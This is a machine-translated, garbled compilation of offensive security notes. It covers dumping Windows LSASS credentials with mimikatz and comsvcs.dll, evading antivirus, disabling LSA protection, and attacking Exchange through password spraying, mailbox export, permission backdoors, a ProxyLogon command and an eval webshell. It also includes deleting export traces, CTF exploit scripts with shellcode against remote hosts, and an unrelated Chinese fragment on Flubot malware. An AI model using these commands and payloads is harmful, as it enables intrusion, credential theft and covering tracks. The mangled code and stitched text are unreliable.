-g LMおよびNTパラメーターパスワードのハッシュを生成します

-Kキャッシュkerberosチケットはファイルへのチケット(UNIXおよびWindows WCE形式)

-kファイルからKerberosのチケットを読んで、Windowsキャッシュに挿入します

-Wダイジェスト認証を介してパスワードをプレーンテキストにキャッシュします

-v詳細な出力

bfokltoked3870.png

lazagne

アドレスをダウンロード:https://github.com/alessandroz/lazagne

lazagne.exeすべて

f1kcixsuf2a871.png

sharpdump

https://github.com/ghostpack/sharpdump

直接コンパイルするだけです

./sharpdump

mb314lncyhe872.png

lsasssilentprocessexit

https://MP.WEIXIN.QQ.COM/S/8UER5DNAQS24KUKXU5YI9W

サイレントプロセスの出口、つまり、静かに出口。このデバッグテクノロジーは、werfault.exeプロセスを導き出すことができます。これは、あらゆるプログラムを実行したり、プロセスのメモリファイルまたはポップアップを再配置するために使用できます。

主に、レジストリ +リモートプロセスインジェクションを変更してメモリをダンプするLSASSILENTProcessExit APIと、関連するレジストリキー値を使用します。

#define ifeo \ _reg \ _key 'Software \\\\\\\\\\\ windows nt \\\\ currentversion \\\\画像ファイル実行オプション\\\\\'

#define silent \ _process \ _exit \ _reg \ _key 'software \\\\\\\\\\\\\\ currentversion \\\\\ silentprocessexit \\\\\'

リモートプロセスインジェクションを使用して、lsass.exeにrtlreportsilentprocessexit機能自体を呼び出すようにします。

hmodule hntdll=getModuleHandle(l'ntdll.dll ');

rtlReportSilentProcessexit \ _func rtlReportSilentProcessexit=(rtlReportSilentProcessexit \ _func)

hthread=createremotethread(hprocess、null、0、(lpthread \ _start \ _routine)rtlreportsilentprocessexit、(lpvoid)-1、null、null);

ただし、レジストリを変更する必要があるため、ソフトキル入力環境をバイパスすることはほとんど不可能です。

lsasssilentprocessexit.exe 616 0

yfokayzuiy5873.png

敏感な環境でlsassプロセスをダンプする方法

PowerShellを使用してファイルなしでエクスポート

https://BLOG.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dllには、システムが付属しています。 comsvcs.dllのエクスポート関数Minidumpを介してダンプメモリを実装します。

指定されたプロセスメモリファイルをダンプする場合、Sedebugprivilegeの許可が必要です。管理者許可のCMDでは、Sedebugprivilegeの許可はデフォルトでサポートされていますが、ステータスは無効になっています。

mvwdsxpvhnh874.png

CMDの下でRunDLL32コマンドを直接実行し、指定されたプロセスメモリファイルをダンプしようとすると、SedeBugPrivilegeの許可を有効にできないため、ダンプが失敗します。

ただし、管理者の特権を備えたPowerShellの下では、デフォルトでSedebugprivilegeの許可がサポートされ、ステータスが有効になります。

vwj1kpbtcv0875.png

最初にlsass.exeプロセスpidを確認します

タスクリスト| findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid path full

rundll32.exe comsvcs.dll minidump 1096 C: \\ users \\ 16229 \\ desktop \\ 1.dmp full

直接実行すると、ソフトを殺すことで傍受される可能性があります。

それをバイパスする簡単な方法:

copycomsvcs.dllは、無感覚なディレクトリに、たとえばtest.dllなど、無感覚なディレクトリに命名され、ランダムに命名されます

c: \\ windows \\ system32 \\ comsvcs.dll test.dllをコピーします

rundll32.exe c: \\ users \\ 16229 \\ desktop \\ code \ _java \\ test.dll Minidump 1096 C: \\ Users \\ 16229 \\ desktop \\ code \ _java \\ 3.dmp Full

ctuaul1uitw876.png

ローカルにドラッグし、分析のためにMimikatzを使用します。

mimikatz.exe log 'sekurlsa:minidump 2.dmp' 'sekurlsa:logonpasswordsフル'出口

runaspplが有効になっている環境

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

ミミカッツ

PPL保護が有効になっているため、管理者でさえLSASSプロセスを開くことができません。

Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'

eqyph4hjfom877.png

mimikatzprivilege:3360debugのコマンドは正常に有効になります。 Sedebugprivilegeですが、コマンドsekurlsa:logonpasswordsが失敗し、エラーコード0x00000005が表示されます。 Minikatzコードkuhl_m_sekurlsa_acquirelsa()関数から、私たちはそれを単に理解することができます

hdata=nullを処理します。

dword pid;

DWord ProcessRights=process_vm_read | process_query_information;

kull_m_process_getProcessIdforname(l'lsass.exe '、pid);

hdata=openProcess(processrights、false、pid);

if(hdata hdata!=invalid_handle_value){

//OpenProcess OKの場合

}

それ以外{

print_error_auto(メモリのハンドル ');

}

Process Explorerを使用してLSASSプロセスを開いて表示し、アクセスが拒否されます。

n0gruf3zxin878.png

ミミカッツのデジタル署名ドライバーを使用して、カーネルのプロセスオブジェクトの保護フラグを削除する

24kj1fbsmc5879.png

ミニカッツインストールドライバー

特権:Debug

!+

1jc53ng4z0l881.png

保護を削除します

!ProcessProtect /Process:lsass.exe /remove

t53kfixnxia882.png

その後、パスワードをダンプできます

sekurlsa:3360logonpasswords

qgbe1iu1bek883.png

ツールを使用して保護が削除されていることを表示します

1tthwf0wioi884.png

mimikatz.exe 'privilege:3360debug' ''!+''

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://RedCursor.com.au/Bypassing-lsa-protection-aka-crotected-crocess-light-without-mimikatz-on-windows-10/

優先度の違い:PPは、その署名レベルが等しいか等しい限り、フルアクセス権限を備えたPPまたはPPLを開くことができます。 PPLは、その署名レベルが等しいか等しい限り、フルアクセス許可を備えた別のPPLを開くことができます。署名レベルに関係なく、PPLはフルアクセス許可を持つPPを開くことはできません。

PPLが有効になっていると、保護レベルの高いプロセスのみが保護されたプロセスで動作できます。

Windowsカーネルは、_eprocess構造を使用して、カーネルメモリのプロセスを表します。これには、そのタイプ(_PS_PROTECTED_TYPE)および署名者(_PS_PROTECTED_SIGNER)プロパティを介してプロセスの保護レベルを定義する_PS_プロテクションフィールドが含まれます。

typedef struct _ps_protection {

ユニオン{

UCHARレベル;

struct {

UCHAR TYPE : 3;

UCHAR監査: 1; //予約済み

Uchar Signer : 4;

};

};

} ps_protection、 *pps_protection;

それは構造体として表されますが、すべての情報は単一のバイトの2つのニブル(levelis a uchar、unsigned char)に保存されます。最初の3桁は保護タイプを示します(以下のps_protected_typeを参照)。プロセスがPPまたはPPLであるかどうかを定義します。最後の4桁は、署名者タイプ(以下のps_protected_signerを参照)、つまり実際の保護レベルを表します。

typedef enum _ps_protected_type {

psprotectedtypenone=0、

psprotectedtepeprotectedlight=1、

psprotectedTepepRetected=2

} PS_PROTECTED_TYPE、 *PPS_PROTECTED_TYPE;

typedef enum _ps_protected_signer {

psprotectedSignernone=0、//0

psprotectedSignerAuthenticode、//1

psprotectedSignerCodegen、//2

psprotectedSignerantimalware、//3

psprotectedSignerlsa、//4

psprotectedSignerWindows、//5

psprotectedSignerwintcb、//6

psprotectedSignerWinsystem、//7

psprotectedSignerApp、//8

psprotectedSignerMax //9

} PS_PROTECTED_SIGNER、 *PPS_PROTECTED_SIGNER;

LSA保護をバイパスしたい場合は、EPROCESSカーネル構造にパッチを当てることにより、LSASSプロセスのPPLフラグを無効にすることができます。これを行うには、LSASS eProcess構造とパッチ5値のアドレスを見つける必要があります。Signaturelevelevel、sectionsignaturelevel、タイプ、監査、署名者はゼロです。

EnumDevicedRivers関数は、カーネルベースアドレスをリークするために使用できます。これを使用して、システムプロセスのeProcess構造を指すpsinitialsystemprocessを見つけることができます。カーネルはリンクされたリストでプロセスを保存するため、eProcess構造のActiveProcessLinksメンバーを使用してリンクされたリストを反復し、LSASSを探すことができます。

eProcess構造を見ると、パッチする必要がある5つのフィールドが、従来の4バイトとして揃っていることがわかります。これにより、次のように単一の4バイト書き込みでeProcess構造にパッチを当てることができます。writememoryPrimitive(device、4、currentProcessAddress + SignAtureLevelOffset、0x00);

fcgo1ifz1v4885.png

アドレスを見つけた後、これらの4バイトの値をゼロにパッチするだけです。

pplkiller.exe /instalddriver

タスクリスト| findstr lsass.exe

pplkiller.exe /disableppl 688

異なるカーネルバージョンに遭遇した場合、プログラムは4バイトに正しくパッチを適用できません。同じバージョンのマシンを見つけて、WindBGデバッグを使用してLSASSカーネルアドレスを表示できます。

bcdedit/debug onsrv \*https://msdl.microsoft.com/ダウンロード/シンボル

x2ihsa1rrvd886.png

.reload

!プロセス0 0 lsass.exe

dt \ _eprocess

z1icvsfnnmb887.png

x3djhqaevk1888.png

pagy3f24jvs889.png

アドレス0x6C0を見つけ、スクリプトを変更してからコンパイルします。

amelfbwlgim890.png

ppldump

https://ITM4N.GITHUB.IO/THEEND-OF-PPLDUMP/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PPLDUMPは、ユーザー状態の脆弱性の活用を実装し、任意のコードを管理者としてPPLに注入するC/C ++で記述されたツールです。この技術は、Alex IonescuとJames Forshawによる多くの調査結果の1つであり、保護されたプロセス(PPおよびPPL)に関する詳細な研究を実施しています。

ppldumpの実用的な原則は次のとおりです。

APに電話してください

侵入プロセス中、Exchange Mail Serverは通常、私たちが焦点を当てたオブジェクトです。 Machineアカウントの権限を使用してExchange Mail Serverを削除した後、ドメインDCSYNC許可内の他のユーザーに提供し、ドメインでハッシュをエクスポートしてドメイン全体を削除できるためです。

交換システムでは、コマンドhttps://Learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps

スキャンサービス

setspn.exe

setspn.exe -t vvvv1.com -f -q */* |検索ストレンド

y5njqvq0ilq905.png

nmap

NMAP 192.168.52.139 -A

gmrtoa5f5g3906.png

3lmuuzyhvnm907.png

プローブバージョンと脆弱性

EWSインターフェイスを介してExchangeの正確なバージョン情報を取得する

1fklkvf4nt0908.png

短所:一部の古いExchangeバージョンは、この操作をサポートしていません。

OWAインターフェイスを介して取引所の大まかなバージョン情報を取得する

ornnavrzmd2909.png

バージョン番号を取得した後、公式Webサイトにアクセスして、対応する交換バージョンとリリース日を確認できます。

クエリアドレス:

https://Learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

スクリプトを使用して、バージョンと脆弱性を検出します

https://github.com/3gstudent/homework-of-python/blob/master/exchange_getversion_matchvul.py

jkxtvl5rwdb910.png

ブラスト

python2 eburst.py -d 192.168.52.139 -c

th1nkfq5sym911.png

このツールを使用して、ユーザーアカウントのパスワードを爆発することもできます。

python2 eburst.py -d 192.168.52.139 -l ./users.txt -p ./passwords.txt -ews

情報収集

電子メールユーザーのいずれかの資格情報が取得されたと仮定すると、次に情報を収集できます。

autodiscover

による情報収集

https://Exchange/autodiscover/autodiscover.xmlインターフェイスを介して、XMLリクエストを受け入れ、XMLで指定された電子メールが属するメールボックス構成を返すことができます。

NTLMV2認証にはHTTP/1.1接続が必要であり、Burpsuitの新しいバージョンはHTTP/2にデフォルトであるため、最初に調整する必要があります。

https://blog.csdn.net/qq_30786785/article/details/121742101

構成の読み取りなどの操作については、次のリンクを参照してください。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8

基本は認証であり、base64 vvvv1 \ administrator:admin!@#456を使用して暗号化されています

post/autodiscover/autodiscover.xml http/1.1

HOST: 192.168.52.139

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのように)chrome/114.0.0.0 safari/537.36

Authorization: BASIC VLZWVJFCYWRTAW5PC3RYYXRVCJPHZG1PBIFAIZQ1NG==

Content-Type:テキスト/XML

Content-Length: 350

autodiscover xmlns='http://schemas.microsoft.com/Exchange/Autodiscover/Outlook/RequestSchema/2006'

リクエスト

emailaddressexchange1@vvv1.com/emailaddress

AcceptAbleresponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/acceptableresponseschema

/リクエスト

/autodiscover

メールが存在しない場合、返されます

x0pesaurwcj912.png

メールボックスが存在する場合、構成情報が返されます

rv2ki04ulx5913.png

5xk3vpaoaml914.png

取引所アドレス帳を入手してください

グローバルアドレスリスト(GAL)には、Exchange Organizationのすべてのメールユーザーのメールアドレスが含まれています。 Exchange Organizationの電子メールユーザーの資格情報を取得している限り、他のメールユーザーのメールアドレスをエクスポートできます。 HTTPを介したOWA、EWS、OAB、RPC、HTTPを介したMapiなどを使用してGALを取得できます。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%B7%A7-A8%8E%B7%E5%BEA%97Exghange-GlobalAddressList%E7%9A%84A6%96%B9%E6%B3

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

OWAを使用して直接表示

人事ユーザー

hzsgf0ttylu915.png

/ewsインターフェイスを取得します< /h5>

PowerShell -ExecutionPolicyバイパス

import-module。\ mailsniper.ps1

get -globalAddressList -ExchHostName 192.168.52.139 -USNAME VVVV1 \ Administrator -PassWord Admin!@#456 -Outfile Gal.txt

kjy1yjj3fz0918.png

oab
を介してギャルを取得します

1。AOTODISCOVERを介して収集されたOABパス。

2。ACCESSOAB/oaburi/oab.xml;

3. oab.xmlを介してデフォルトのグローバルアドレステーブルに対応するLZXファイルアドレスを見つけ、access/oab/oaburi/lzxuriにLZXファイルを取得します。

4. Cabextractツールを使用してLZXファイルをデコードし、GALを復元します。

https://www.cabextract.org.uk/

http
を介したRPC(mapi)を介した情報収集をエクスポートします

HTTP上のMapiは、OutlookとExchange 2016の間のデフォルトの通信プロトコルです

HTTPを介したMAPIは、HTTPを介してRPCを置き換えるためにExchange Server 2013 Service Pack 1(SP1)に実装された新しいトランスポートプロトコルです(Outlook Anywhereとも呼ばれます)

HTTPを介したMAPIは、Exchange 2013でデフォルトで有効になりません。OutlookとExchangeの間の通信プロトコルは、HTTPを介してRPCを使用します。

Impacket-Exchangerモジュールを使用してアドレスリストをリストし、対応するGUIDを見つけます

python endganger.py vvvv1/admins:user!@#45@192.168.52.139nspiリストテーブル

jg2kr4hrsc2920.png

すべてのユーザーをエクスポートします

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738

ejpgvssj01y921.png

Pythonを介したGALのリモートエクスポート

Python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com Adminsユーザー!@#45 findallpeople

ug4ivyptk4c922.png

メールコンテンツをエクスポート

/owaインターフェイスを介して直接メールをダウンロードします< /h4>

アカウントパスワードを入力して、ページでメールを直接読み取るかダウンロードしてください

5xv5i2hti2q924.png

/ewsインターフェイスを介して電子メールコンテンツをエクスポート< /h4>

pythonを介した電子メールのリモートエクスポート

プレーンテキストパスワードまたはハッシュを介してエクスポートできます

python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com管理者管理者!@#456ダウンロード

python ewsmanage_downloader.py test.com 80 NTLMHASH NULL USER1 C5A237B7E9D8E708D8436B6148A25FA1 FINDALLPELE

m41od3v4tcj926.png

Pythonを介した電子メールのエクスポートは、通常、SOAP XMLメッセージを使用してエクスポートされます

公式XML要素ドキュメント:

https://Learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

exshell.ps1
を介して電子メールをエクスポートします

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-E4%BB%8EEXChange%E6%9C%8D%9CですE5%8a%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'newmailboxexportrequest -mailbox管理者-filepath' \ \ c $ Exchange1.pst '

4zds4ec4qle929.png

04emgbp1lmh930.png

もちろん、電子メールをエクスポートした後、エクスポートメールのトレースをクリアする必要があります。

メールのエクスポート要求履歴を表示します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -mailboxexportrequertrequest'

rvipd2jcd1e932.png

エクスポートログレコードを削除します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'remove -mailboxexportrequert' '

iyppdndlpj2935.png

IDパラメーターは、上の図のメールボックスパラメーターです

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'removeBoxexportRequest -identity' vvvv1.com/users/administrator \ mailboxexportportportport

電子メールは、バックドアの植え付けを引き継ぎます

シミュレーション権限を構成

https://4SYSOPS.COM/ARCHIVES/EXCHANGE-IMPRENATION-GRANT-PERMISSIONS-TO-SERVICE-ACCOUNTS/

xbmgyxrtjmf937.png

次の権限を追加するだけです。

シミュレーションの許可があることを確認してください。

https://192.168.52.139/ecp/exchange1@vvvv1.com/

特定の利用には、スクリプトファイルを組み合わせる必要があります。

ojpq0v2hsjl938.png

モック許可を持つメンバーを表示します

get -managementRoleasSignment -Role:ApplicationImprensation

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -managementRoleassignment -role:application -ination'

w4lzgu5xrrs940.png

模擬権限を備えた新しいメンバーを作成します

new -managementRoleasSignment -Role3:ApplicationImprensation -User:Exchange1@vvvv1.com

rv1rpx4eh0e942.png

新しく追加されたモック許可を持っているメンバーを削除します

managementRoleassignment 'application-Imprensation-Admins'を削除

3xgb0ypdtzc943.png

FullAccess Permissions

を構成します

https://Blog.csdn.net/weixin_34123613/article/details/90079532

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | Add -MailboxPermission -USER Administrator -AccessRights Fullaccess -InheritanceTypeすべて

a3wfwt05w3n944.png

Fullaccessの許可をキャンセルします

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | mailboxpermission -user管理者-accessrights fullaccess -inheritanceTypeすべて

Fullaccessアクセス許可を確認します

tbi4c22qs3v947.png

脆弱性攻撃

python proxylogon.py - host=exchange.com - mail=admin@exchange.com

Aspx Trojan:スクリプト言語='jscript' runat='server' function page \ _load(){/\*\*/eval(request \ ['command' \]、 'unsafe');}/script

摂取後段階

サーバー情報の交換コレクション

Exchangeのデフォルトのインストールパスを取得します

Echo%ExchangeInstallPath%

ecnswpbkb3p949.png

コンソールファイルの相対位置は、%ExchangeInstallPath%\ bin \ exshell.ps1です

すべての電子メール情報を取得します

Powershell.exe -psconsolefile 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ bin \ exshell.psc1' -command 'get -mailbox -Resultsize Unlimited'

ure51lfh225950.png

電子メール追跡ログを分析

メール追跡ログは%交換にあります

1。データセキュリティの質問

1 .as

例と質問をご覧ください

def pell_recurrence(x1、y1、x、y、d):

x_next=x1 * x + d * y1 * y

y_next=x1 * y + y1 * x

x_next、y_nextを返します

#calculate

def generate_until_threshold(x1、y1、d、しきい値):

x、y=1、0

solutions=[(x、y)]

イテレーション=0

true:

x、y=pell_recurrence(x1、y1、x、y、d)

イテレーション +=1

solutions.append((x、y))

xしきい値とyしきい値:の場合

壊す

解決策、イテレーション、(x、y)

##########################################################################か

def main():

D=42232

X1、Y1=108634303639045672094671043496198963286006933268455141841942775234559999、 52862312812076818203801374519259164308207980652808243827880652144787200

しきい値=2 **0x149f

ソリューション、イテレーション、last_solution=generate_until_threshold(x1、y1、d、しきい値)

印刷(f 'x={last_solution [0]}')

印刷(f 'y={last_solution [1]}')

n1=(last_solution [0] -1)//2

n2=last_solution [1]

印刷(n1)

印刷(n2)

__name__=='__main __' :の場合

main()image-20250403151324146

N1=64844564643854949589851602335783984173579580464735419079658654718255037852726788222237554238651416 51725555010268946547371838755824968077838724094951075343418420178666051238478938999093406567717389454538 63424076592050010681353027292371006202432487099104697886787087178896042881627844174314231125376214954 191547729867576758551671299193867007260053941673838331284254279498630255373138495682828280106931847810107810 5747928749942182896044998865749248551237026945231309622443183888804721642376354130042037417822206304 44089221596447522910893615324877093077575834234234632206558888451080594144615938550114486923456286606606606 839599815531659691349774579744077742423463881471672458781349375368356413777777512841942400309996778337 89760649723034315709289197588503633098101852953596135719124951778966166882244717559306946188988876913 0598854771926155737315230514752046521202893304056240286346925487675888597054438983012367061809193423 0242946589463785934464302901842452354739677779999437519009546643195971492238007190552444297438229916530888 9482740693588888888694578091075479770434033383150772458175845012048361010458898033382579741708159642222 2143136409208762793223834034506152030379364807697319399089566253484842239113818516252719396503715151515151516 6115929559837059526120429960898263731511653364200306669261874318917779779751159990107686657670079338738 23935662067654373217132550990224714558326022862910255457386537474385284558980019354399325882955555558912 542652555558669537304706772635135818388765891636360962760667169682828523049745507250355557641675680606757 3954596043890492834784253219485112525250553753092423313264255375835083508288068056238732393021148364800000000

N2=6310775778373158072121506050012120110737000921159830860487405951913977762984508436128491347358202020843612849134735820 40026490305611506728157907332794553243897490382441928265237641015320185657434903925097598760960960787878787 883254442318175689932630404063782908439562569708467673549276158693692880019298918917442223454661333379985 39277783475975019927833495777599483895984131746152326733533402089732453584337320359607883603900037507 8019839415884013345498043473444405786017144561861862888858206698999955555555784335810426266614970929555570788888888227 401182253826825384609346528962344036388832502259046741321911200171426780637962405234747461112088834808080808080 9003855463232063187607331663553796062046207210640555294843433373700073814417333734803953072224509658233382338 0286472933092438252735609813745293185293425140178561897898999152120624707551988888890426788886293333333717556843 8766117594547448282820559753425657814885279969301392035974389727835465384888889776322146722233016164700555555330 06827166136303455670710003638464315811357227470395415655224937948484509148184858371069289334733848851 35625061825028262571981764852307539805730803567918135532017187134962686791602751075677775230893413 190686791463415735225214304935483754244074330567251227999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999990 -147626 42324815609182517988506268150630360407065284699130560128074008357903247903494947212812440317249494983943 3411188350035997807588936279816925317068991219980838476317761444099773877031649829297999999999999999999999944435354912 238925949073263872330350495717468997808640161305470224777777745158411515199235037185827272739425555857158966 004358344039029889879405479632695043708918494502587524196165559584121324134404046020914082864135881600

NC接続の提出

image-20250403151353410

get username:admin-jm password:jm001x!

flag3360

md5(admin-jm+jm001x!)

image-20250403151635504

または:

#sage 9.5

crypto.util.Numberインポートから *

PWNインポートから *

sysをインポートします

sys.set_int_max_str_digits(0)

DEFインタラクション(IO、X、Y):

io.recvuntil(b': ')

io.sendline(b'2 ')

io.recvuntil(b'n1〜 ')

io.sendline(str(x).encode())

io.recvuntil(b'n2〜 ')

io.sendline(str(y).encode())

io.recvline()

io.recvline()を返します

D=42232

チェック=2 **0x149f

def solve_pell(n):

cf=coshing_fraction(sqrt(n))

i=0

WHILETRUE:

I +=1

宗派=cf.denominator(i)

numer=cf.Numerator(i)

if(((numer -1)//2)=check)または(denom=check):

続行します

numer^2 -n * denom^2==1:の場合

x、y=int((numer -1)//2)、int(venom)

res=interace(io、x、y)

ifb'sorry'in res:

続行します

RESを返します

io=remote('47 .117.41.252 '、' 33410 ')

context.log_level='debug'

res=solve_pell(d)

印刷(res)

io.interactive()

#b'verifyの成功!ユーザー名[admin-jm]、パスワード[jm001x!]〜 'final flag3360

B7133D84297C307A92E70D7727F55CBC

2.scsc

タイトル説明:

プログラムの脆弱性を使用して、info_secファイルでデータ情報を取得し、11の行11、列2にデータを送信します

質問のプロセス:SCSCバイナリファイルを取得したとき、それが静的にコンパイルされ、ライブラリ機能がなく、シンボルテーブルが欠落していることがわかりました。

ここでは、リバーステクニックを使用します。シンボルテーブルを復元する3つの方法があります

SIGファイルのさまざまなバージョンを使用し、Bindiffの使用を復元し、異なるLIBCファイルを使用し、ライブラリ機能のマシンコードを比較し、指紋プラグインを使用して関数名を復元します(インターネットに接続する必要があります)。個人的には、最も理想的な効果は指紋プラグインだと思います。このゲームも常にオンラインであるため、使用しています。 LIBCを認識するだけでなく、それがなければ、C ++ライブラリも使用したこともわかりません。ここでは、回復後の効果を示します

このプログラムは、AES復号化関数セットシェルコードエグゼキューターであり、目に見える文字を無効にします。文字をフィルタリングせずにシェルコードを暗号化および送信する必要があります。

シェルコード、ジャンプ、次に通常のシェルコードを入力して読み取りを作成する最も簡単な方法を以下に示します。ここでの可視文字フィルタリングは、「SH」とさまざまな64ビットレジスタ操作を制限します。そこで、簡単にバイパスし、sys_readをオンにし、シェルコードを注入し、getShellを使用して、32ビットレジスタを使用しました

PWNインポートから *

std_pwnインポートから *

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから

defgetProcess(ip、port、name):

グローバルp

iflen(sys.argv)1およびsys.argv [1]=='r':

p=remote(ip、port)

p

else:

p=process(name)

p

SL=Lambda X: P.Sendline(X)

sd=lambda x: p.send(x)

SA=Lambda X、Y: P.Sendafter(X、Y)

SLA=Lambda X、Y: P.SendlineFter(X、Y)

rc=lambda x: p.recv(x)

rl=lambda: p.recvline()

ru=lambda x: p.recvuntil(x)

ita=lambda: p.Itteractive()

slc=lambda: asm(shellcraft.sh())

uu64=lambda x: u64(x.ljust(8、b '\ 0'))

uu32=lambda x: u32(x.ljust(4、b '\ 0'))

#sl、sd、sa、sla、rc、rl、ru、ita、slc、uu64、uu32を返します

defaes_ecb_encrypt(plantext):

print(plantext)

c inb'0moyhjlcit1zkbnrnchag':の場合

plantext:のcの場合

print(f '{chr(c)} in it!')

#ヘキサデシマル文字列キーをバイトに変換します

key=B'862410C4F93B77B4 '

#AES暗号化装置を作成します

cipher=aes.new(key、aes.mode_ecb)

#プレーンテキストを入力して暗号化します

padded_plaintext=pad(plantext、aes.block_size)

ciphertext=cipher.encrypt(padded_plantext)

#ciphertextを16進文字列に変換して戻ります

ciphertextを返します

shellcode='' '

RSPを押します

ポップrsi

MOV EDI、0

MOV EDX、0xff

RDIを押します

ポップラックス

syscall

JMP RSP

'' '

#01ayhcjitkbn molznrchg

p=getProcess('47 .117.42.74 '、32846、'。/scsc ')

Context(os='linux'、arch='amd64'、log_level='debug'、terminal=['tmux'、 'splitw'、 '-H']))

elf=elf( './scsc')

gdba()

ペイロード=asm(shellcode)

sa( 'Magic Data:'、AES_ECB_ENCRYPT(ASM(ShellCode)))

sl(asm(shellcraft.sh()))

ita()または

#!/usr/bin/env python3

PWNインポートから *

context.log_level='debug'

context.arch='amd64'

#io=process( './scsc')

io=remote('47 .117.41.252 '、33414)

shellcode='' '

XCHG R8、Rax

XCHG R8、RSI

サブEDI、EDI

MOV EDX、0x99

Sub Eax、EAX

syscall

'' '

payload1=asm(shellcode)

print( 'shellcode='、payload1.hex())

payload1=bytes.fromhex( 'e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226')

payload2=b '\ x90'*len(payload1) + asm(shellcraft.sh())

#gdb.attach(io)

io.sendlineafter(b'magic data: '、payload1)

一時停止()

io.send(payload2)

io.interactive()

3. ez_upload

タイトル説明:

この質問では、テストの質問に添付されていません。添付のダウンロードボタンを無視してください!サーバーは、暗号化されたデータのRSAキーファイルを保存します。管理者は、サーバーサイトを維持するときに脆弱なテストサイトを修復しませんでした。 RSAキーが配置されているパスを送信してください(提出スタイル:ファイルがあるパスが /var /wwwの場合、送信回答は /var /wwwです)

問題手順:

予備的なアイデア、馬の渡され、けがをしてから、RSAに関連するファイルを見つけます

HTMLとPHPはすべてWAFによってドロップされます。接尾辞は、ファイルコンテンツを検出するために使用できます。

Content-Type: TEXT/HTML WAFこれ

接尾辞はwafed、html、php、htaccess、 '。php'、 '。php5'、 '。php4'、 '。php3'、 '。php2'、 '。html'、 '。htm'、 '。pht'、 '。p ht '、'。php '、'。php5 '、'。php4 '、'。php3 '、'。php2 '、'。html '、'。htm '、'。phtml、user.ini

これではないようにエコーします。しかし、phtmlの接尾辞のエコーはこのcontehtではありません

php7.2以上、htaccessファイルを構成する必要があります

PNG 2レンダリングではありません

ミドルウェアはApacheです、脆弱性を解決しますか?

ファイルコンテンツがチェックされ、PHPを含むコンテンツがWAFによってドロップされることがわかります。

正常に馬を渡しました

?=@eval($ _ post ['cmd']);Image

RSAキーを見つけるためのパスは/var/www/rssss4aです

Image

4. データの開示とプライバシー保護

タイトル説明:

宣伝部門の技術サポートスタッフメンバーとして、過度のデータ脱感作のために優れたボランティアを公に賞賛するために活動を行うとき、個人情報を正確に特定できず、その結果

複数のボランティアが情報について混乱しています。添付ファイルの《题目说明文档》のタスク要件に従って問題を解決してください。

問題手順:

エントリ:Openファイル - テーブルBase64暗号化- time()を使用して擬似ランダムアレイを生成- エクスア暗号化- 新しいファイルに書き込み

Flubot是一個基於Android的惡意軟件,在過去一年半中已在歐洲、亞洲和大洋洲大肆攻擊,這些被攻擊的設備大多是毫無戒心的受害者。與大多數Android銀行惡意軟件一樣,Flubot也是濫用輔助功能和服務來竊取受害者的憑據,當受害者在檢測官方銀行應用程序時,攻擊者會提供一個虛假的網絡注入,比如一個類似於銀行登錄表單的網絡釣魚網站應用。 Flubot之所以大肆肆虐的一個重要原因是由於分佈其活動中使用的策略,因為它一直在使用受感染的設備發送短信,引誘新的受害者從虛假網站安裝惡意軟件。

在本文中,我們詳細介紹了它的演變發展史,包括新功能和傳播活動。

1.png

Flubot作為當今最流行的活躍Android銀行惡意軟件家族之一。 Flubot銀行惡意軟件家族至少從2020年末到2022年第一季度期間就開始傳播。它的流行來自於它的傳播方法:smishing。攻擊者一直在使用受感染的設備向其他電話號碼發送短信,在從其他受感染的設備中竊取並存儲在命令和控制服務器(C2)中。

在最初的活動中,攻擊者使用虛假的Fedex、DHL和Correos(一家當地的西班牙包裹運輸公司)發送短信。這些短信是虛假通知,誘使用戶進入虛假網站,以下載移動應用程序來跟踪運輸。這些活動很容易得手,因為現在大多數人習慣於在線購買不同類型的產品並接收此類消息以跟踪產品的運輸。

